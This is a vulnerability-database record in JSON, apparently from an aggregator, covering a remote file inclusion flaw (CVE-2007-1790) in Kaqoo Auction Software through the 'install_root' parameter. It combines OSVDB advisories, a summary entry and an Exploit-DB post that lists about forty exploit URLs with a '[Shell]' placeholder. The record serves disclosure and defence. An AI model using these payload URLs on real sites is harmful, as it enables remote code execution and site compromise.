{"osvdb": [{"lastseen": "2017-04-28T13:20:30", "references": [], "description": "## Vulnerability Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/display/search.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/display/search.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include/display/search.inc.php?install_root=[Shell]\n## References:\nVendor URL: http://kaqoo.com/\n[Secunia Advisory ID:24696](https://secuniaresearch.flexerasoftware.com/advisories/24696/)\nOther Advisory URL: http://milw0rm.com/exploits/3607\nISS X-Force ID: 33335\nFrSIRT Advisory: ADV-2007-1180\n[CVE-2007-1790](https://vulners.com/cve/CVE-2007-1790)\nBugtraq ID: 23211\n", "edition": 1, "reporter": "ThE dE@Th()", "published": "2007-03-29T07:49:37", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Kaqoo Auction Software Free Edition include/display/search.inc.php install_root Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "Kaqoo Auction Software (Free Edition)", "version": "Unknown or Unspecified", "operator": "eq"}], "cvelist": ["CVE-2007-1790"], "modified": "2007-03-29T07:49:37", "href": "https://vulners.com/osvdb/OSVDB:34557", "id": "OSVDB:34557", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:30", "references": [], "description": "## Vulnerability Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/display/item/preview.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/display/item/preview.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include/display/item/preview.inc.php?install_root=[Shell]\n## References:\nVendor URL: http://kaqoo.com/\n[Secunia Advisory ID:24696](https://secuniaresearch.flexerasoftware.com/advisories/24696/)\nOther Advisory URL: http://milw0rm.com/exploits/3607\nISS X-Force ID: 33335\nFrSIRT Advisory: ADV-2007-1180\n[CVE-2007-1790](https://vulners.com/cve/CVE-2007-1790)\nBugtraq ID: 23211\n", "edition": 1, "reporter": "ThE dE@Th()", "published": "2007-03-29T07:49:37", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Kaqoo Auction Software Free Edition include/display/item/preview.inc.php install_root Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "Kaqoo Auction Software (Free Edition)", "version": "Unknown or Unspecified", "operator": "eq"}], "cvelist": ["CVE-2007-1790"], "modified": "2007-03-29T07:49:37", "href": "https://vulners.com/osvdb/OSVDB:34553", "id": "OSVDB:34553", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:30", "references": [], "description": "## Vulnerability Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/processor.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/processor.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include/processor.inc.php?install_root=[Shell]\n## References:\nVendor URL: http://kaqoo.com/\n[Secunia Advisory ID:24696](https://secuniaresearch.flexerasoftware.com/advisories/24696/)\nOther Advisory URL: http://milw0rm.com/exploits/3607\nISS X-Force ID: 33335\nFrSIRT Advisory: ADV-2007-1180\n[CVE-2007-1790](https://vulners.com/cve/CVE-2007-1790)\nBugtraq ID: 23211\n", "edition": 1, "reporter": "ThE dE@Th()", "published": "2007-03-29T07:49:37", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Kaqoo Auction Software Free Edition include/processor.inc.php install_root Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "Kaqoo Auction Software (Free Edition)", "version": "Unknown or Unspecified", "operator": "eq"}], "cvelist": ["CVE-2007-1790"], "modified": "2007-03-29T07:49:37", "href": "https://vulners.com/osvdb/OSVDB:34580", "id": "OSVDB:34580", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:30", "references": [], "description": "## Vulnerability Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/interfaces.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/interfaces.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include/interfaces.inc.php?install_root=[Shell]\n## References:\nVendor URL: http://kaqoo.com/\n[Secunia Advisory ID:24696](https://secuniaresearch.flexerasoftware.com/advisories/24696/)\nOther Advisory URL: http://milw0rm.com/exploits/3607\nISS X-Force ID: 33335\nFrSIRT Advisory: ADV-2007-1180\n[CVE-2007-1790](https://vulners.com/cve/CVE-2007-1790)\nBugtraq ID: 23211\n", "edition": 1, "reporter": "ThE dE@Th()", "published": "2007-03-29T07:49:37", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Kaqoo Auction Software Free Edition include/interfaces.inc.php install_root Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "Kaqoo Auction Software (Free Edition)", "version": "Unknown or Unspecified", "operator": "eq"}], "cvelist": ["CVE-2007-1790"], "modified": "2007-03-29T07:49:37", "href": "https://vulners.com/osvdb/OSVDB:34581", "id": "OSVDB:34581", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:30", "references": [], "description": "## Vulnerability Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/display/register.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/display/register.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include/display/register.inc.php?install_root=[Shell]\n## References:\nVendor URL: http://kaqoo.com/\n[Secunia Advisory ID:24696](https://secuniaresearch.flexerasoftware.com/advisories/24696/)\nOther Advisory URL: http://milw0rm.com/exploits/3607\nISS X-Force ID: 33335\nFrSIRT Advisory: ADV-2007-1180\n[CVE-2007-1790](https://vulners.com/cve/CVE-2007-1790)\nBugtraq ID: 23211\n", "edition": 1, "reporter": "ThE dE@Th()", "published": "2007-03-29T07:49:37", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Kaqoo Auction Software Free Edition include/display/register.inc.php install_root Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "Kaqoo Auction Software (Free Edition)", "version": "Unknown or Unspecified", "operator": "eq"}], "cvelist": ["CVE-2007-1790"], "modified": "2007-03-29T07:49:37", "href": "https://vulners.com/osvdb/OSVDB:34576", "id": "OSVDB:34576", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:30", "references": [], "description": "## Vulnerability Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/display/activate.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/display/activate.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include/display/activate.inc.php?install_root=[Shell]\n## References:\nVendor URL: http://kaqoo.com/\n[Secunia Advisory ID:24696](https://secuniaresearch.flexerasoftware.com/advisories/24696/)\nOther Advisory URL: http://milw0rm.com/exploits/3607\nISS X-Force ID: 33335\nFrSIRT Advisory: ADV-2007-1180\n[CVE-2007-1790](https://vulners.com/cve/CVE-2007-1790)\nBugtraq ID: 23211\n", "edition": 1, "reporter": "ThE dE@Th()", "published": "2007-03-29T07:49:37", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Kaqoo Auction Software Free Edition include/display/activate.inc.php install_root Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "Kaqoo Auction Software (Free Edition)", "version": "Unknown or Unspecified", "operator": "eq"}], "cvelist": ["CVE-2007-1790"], "modified": "2007-03-29T07:49:37", "href": "https://vulners.com/osvdb/OSVDB:34570", "id": "OSVDB:34570", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:30", "references": [], "description": "## Vulnerability Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/core/login.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/core/login.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include/core/login.inc.php?install_root=[Shell]\n## References:\nVendor URL: http://kaqoo.com/\n[Secunia Advisory ID:24696](https://secuniaresearch.flexerasoftware.com/advisories/24696/)\nOther Advisory URL: http://milw0rm.com/exploits/3607\nISS X-Force ID: 33335\nFrSIRT Advisory: ADV-2007-1180\n[CVE-2007-1790](https://vulners.com/cve/CVE-2007-1790)\nBugtraq ID: 23211\n", "edition": 1, "reporter": "ThE dE@Th()", "published": "2007-03-29T07:49:37", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Kaqoo Auction Software Free Edition include/core/login.inc.php install_root Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "Kaqoo Auction Software (Free Edition)", "version": "Unknown or Unspecified", "operator": "eq"}], "cvelist": ["CVE-2007-1790"], "modified": "2007-03-29T07:49:37", "href": "https://vulners.com/osvdb/OSVDB:34549", "id": "OSVDB:34549", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:30", "references": [], "description": "## Vulnerability Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/core/request.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/core/request.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include/core/request.inc.php?install_root=[Shell]\n## References:\nVendor URL: http://kaqoo.com/\n[Secunia Advisory ID:24696](https://secuniaresearch.flexerasoftware.com/advisories/24696/)\nOther Advisory URL: http://milw0rm.com/exploits/3607\nISS X-Force ID: 33335\nFrSIRT Advisory: ADV-2007-1180\n[CVE-2007-1790](https://vulners.com/cve/CVE-2007-1790)\nBugtraq ID: 23211\n", "edition": 1, "reporter": "ThE dE@Th()", "published": "2007-03-29T07:49:37", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Kaqoo Auction Software Free Edition include/core/request.inc.php install_root Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "Kaqoo Auction Software (Free Edition)", "version": "Unknown or Unspecified", "operator": "eq"}], "cvelist": ["CVE-2007-1790"], "modified": "2007-03-29T07:49:37", "href": "https://vulners.com/osvdb/OSVDB:34550", "id": "OSVDB:34550", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:30", "references": [], "description": "## Vulnerability Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/core/rdal_object.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/core/rdal_object.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include/core/rdal_object.inc.php?install_root=[Shell]\n## References:\nVendor URL: http://kaqoo.com/\n[Secunia Advisory ID:24696](https://secuniaresearch.flexerasoftware.com/advisories/24696/)\nOther Advisory URL: http://milw0rm.com/exploits/3607\nISS X-Force ID: 33335\nFrSIRT Advisory: ADV-2007-1180\n[CVE-2007-1790](https://vulners.com/cve/CVE-2007-1790)\nBugtraq ID: 23211\n", "edition": 1, "reporter": "ThE dE@Th()", "published": "2007-03-29T07:49:37", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Kaqoo Auction Software Free Edition include/core/rdal_object.inc.php install_root Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "Kaqoo Auction Software (Free Edition)", "version": "Unknown or Unspecified", "operator": "eq"}], "cvelist": ["CVE-2007-1790"], "modified": "2007-03-29T07:49:37", "href": "https://vulners.com/osvdb/OSVDB:34547", "id": "OSVDB:34547", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:30", "references": [], "description": "## Vulnerability Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/display/install_complete.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nKaqoo Auction Software (Free Edition) contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the include/display/install_complete.inc.php script not properly sanitizing user input supplied to the 'install_root' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include/display/install_complete.inc.php?install_root=[Shell]\n## References:\nVendor URL: http://kaqoo.com/\n[Secunia Advisory ID:24696](https://secuniaresearch.flexerasoftware.com/advisories/24696/)\nOther Advisory URL: http://milw0rm.com/exploits/3607\nISS X-Force ID: 33335\nFrSIRT Advisory: ADV-2007-1180\n[CVE-2007-1790](https://vulners.com/cve/CVE-2007-1790)\nBugtraq ID: 23211\n", "edition": 1, "reporter": "ThE dE@Th()", "published": "2007-03-29T07:49:37", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Kaqoo Auction Software Free Edition include/display/install_complete.inc.php install_root Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "Kaqoo Auction Software (Free Edition)", "version": "Unknown or Unspecified", "operator": "eq"}], "cvelist": ["CVE-2007-1790"], "modified": "2007-03-29T07:49:37", "href": "https://vulners.com/osvdb/OSVDB:34566", "id": "OSVDB:34566", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-01-31T18:53:54", "osvdbidlist": ["34564", "34549", "34579", "34578", "34560", "34581", "34550", "34558", "34580", "34547", "34572", "34562", "34546", "34575", "34574", "34552", "34545", "34582", "34584", "34557", "34563", "34553", "34566", "34568", "34567", "34573", "34576", "34554", "34555", "34583", "34569", "34571", "34565", "34561", "34559", "34570", "34556", "34577", "34551", "34548"], "references": [], "description": "Kaqoo Auction (install_root) Multiple Remote File Include Vulnerabilities. CVE-2007-1790. Webapps exploit for php platform", "edition": 1, "reporter": "ThE dE@Th", "published": "2007-03-29T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "type": "exploitdb", "title": "Kaqoo Auction install_root Multiple Remote File Include Vulnerabilities", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-1790"], "modified": "2007-03-29T00:00:00", "id": "EDB-ID:3607", "href": "https://www.exploit-db.com/exploits/3607/", "sourceData": "*************************************************************\nTo ConTacT mE @ www.Asb-May.net/bb\nScRiPt:-http://kaqoo.com/server/download.php\nGrEaTz To:-ToOofa-HaCk.eGy-Alk()mad()z-Bright Dark (All AsB-MaY DisCoverY\nExPloIts GrOup)\nDiscovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs Gr0uP} >>\n******************************************************************************\nWrong Code:-\ninclude_once(\"$install_root\n********************************************************************************\nExPlOiT:-http://www.SitE.com/include/core/support.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/core/function.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/core/rdal_object.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/core/rdal_editor.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/core/login.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/core/request.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/core/categories.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/item/save.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/item/preview.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/item/edit_item.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/item/new_item.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/item/item_info.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/search.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/item_edit.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/register_succsess.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/context_menu.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/item_repost.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/balance.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/featured.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/user.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/buynow.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/install_complete.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/fees_info.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/user_feedback.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/admin_balance.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/activate.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/user_info.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/member.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/add_bid.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/items_filter.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/my_info.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/register.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/leave_feedback.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/display/user_auctions.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/design/form.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/processor.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/interfaces.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/left_menu.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/login.inc.php?install_root=[Shell]\nExPlOiT:-http://www.SitE.com/include/categories.inc.php?install_root=[Shell]\n********************************************************************************\n\n# milw0rm.com [2007-03-29]\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/3607/"}], "securityvulns": [{"lastseen": "2018-08-31T11:09:25", "references": ["https://vulners.com/securityvulns/securityvulns:doc:16543", "https://vulners.com/securityvulns/securityvulns:doc:16541", "https://vulners.com/securityvulns/securityvulns:doc:16537", "https://vulners.com/securityvulns/securityvulns:doc:16539", "https://vulners.com/securityvulns/securityvulns:doc:16540", "https://vulners.com/securityvulns/securityvulns:doc:16542", "https://vulners.com/securityvulns/securityvulns:doc:16538"], "description": "PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc.", "edition": 1, "reporter": " ", "published": "2007-04-02T00:00:00", "title": "Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)", "type": "securityvulns", "enchantments": {"score": {"modified": "2018-08-31T11:09:25", "vector": "NONE", "value": 4.3}}, "bulletinFamily": "software", "affectedSoftware": [{"name": "Overlay Weaver", "version": "0.5", "operator": "eq"}, {"name": "Web Content System", "version": "2.7", "operator": "eq"}, {"name": "JBrowser", "version": "2.4", "operator": "eq"}, {"name": "Urlshrink", "version": "1.3", "operator": "eq"}, {"name": "Picture-Engine", "version": "1.2", "operator": "eq"}, {"name": "jsboard", "version": "2.0", "operator": "eq"}, {"name": "Flyspray", "version": "0.9", "operator": "eq"}, {"name": "Mangobery", "version": "0.5", "operator": "eq"}, {"name": "CodeBB", "version": "1.0", "operator": "eq"}, {"name": "Advanced Website Creator", "version": "1.8", "operator": "eq"}, {"name": "iPhotoAlbum", "version": "1.1", "operator": "eq"}, {"name": "sBlog", "version": "0.7", "operator": "eq"}], "cvelist": ["CVE-2007-1839", "CVE-2007-1771", "CVE-2007-1774", "CVE-2007-1788", "CVE-2007-1796", "CVE-2007-1801", "CVE-2007-1795", "CVE-2007-1790", "CVE-2007-1780", "CVE-2007-1842", "CVE-2007-1778", "CVE-2007-1837", "CVE-2007-1791", "CVE-2007-1775", "CVE-2007-1818", "CVE-2007-1789", "CVE-2007-1773", "CVE-2007-1779"], "modified": "2007-04-02T00:00:00", "id": "SECURITYVULNS:VULN:7521", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:7521", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}]}
